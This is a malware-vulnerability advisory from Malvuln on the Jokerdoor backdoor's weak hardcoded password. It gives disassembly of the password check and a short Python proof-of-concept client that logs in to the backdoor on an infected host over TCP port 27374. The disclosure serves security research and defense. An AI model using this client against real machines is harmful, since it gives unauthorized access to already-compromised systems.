Backdoor.Win32.Jokerdoor Hardcoded Credential

`Discovery / credits: Malvuln - malvuln.com (c) 2022  
Original source: https://malvuln.com/advisory/a6437375fff871dff97dc91c8fd6259f.txt  
Contact: [email protected]  
Media: twitter.com/malvuln  
  
Threat: Backdoor.Win32.Jokerdoor  
Vulnerability: Weak Hardcoded Credentials  
Family: Jokerdoor  
Type: PE32  
MD5: a6437375fff871dff97dc91c8fd6259f  
Vuln ID: MVID-2022-0531  
Dropped files: Random name "awup.exe"  
Disclosure: 04/02/2022  
Description: The malware listens on TCP port 27374. The password "mathiasJ" is weak and hardcoded in the PE file. Failed authentication generates a "POPUP incorrect password..." message, using TELNET results in an error "PWDPerror reading password..." Using Nc64.exe utility results in a trailing line feed character "\n" after the supplied password. This causes the cmp statement check to fail even if the password is correct due to the "\n" character.  
  
004BDA0C | 8B 45 EC | mov eax,dword ptr ss:[ebp-14] | [ebp-14]:" mathiasJ\n"  
004BDA0F | 8B 15 0C AC 4D 00 | mov edx,dword ptr ds:[4DAC0C] | 004DAC0C:&"mathiasJ"  
004041C7 | 39 D0 | cmp eax,edx | eax" mathiasJ\n", edx"mathiasJ"  
  
So we will need to write a custom client ourselves. The password must also be sent with no space and prefixed with "PWD" E.g. "PWDmathiasJ". Upon successful authentication we get a message e.g. "PWDconnected time, date Legends 2.1".   
  
Exploit/PoC:  
from socket import *  
import time  
  
MALWARE_HOST="x.x.x.x"  
PORT=27374  
  
def chk_res(s):  
res=""  
while True:  
res += s.recv(512)  
break  
if "\0" in res or "\n" in res or res == "":  
break  
return res  
  
def doit():  
s=socket(AF_INET, SOCK_STREAM)  
s.connect((MALWARE_HOST, PORT))  
time.sleep(1)  
  
PAYLOAD="PWDmathiasJ"  
s.send(PAYLOAD)  
  
time.sleep(1)  
print(chk_res(s))  
s.close()  
  
if __name__=="__main__":  
doit()  
print("Malvuln")  
  
  
Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).  
`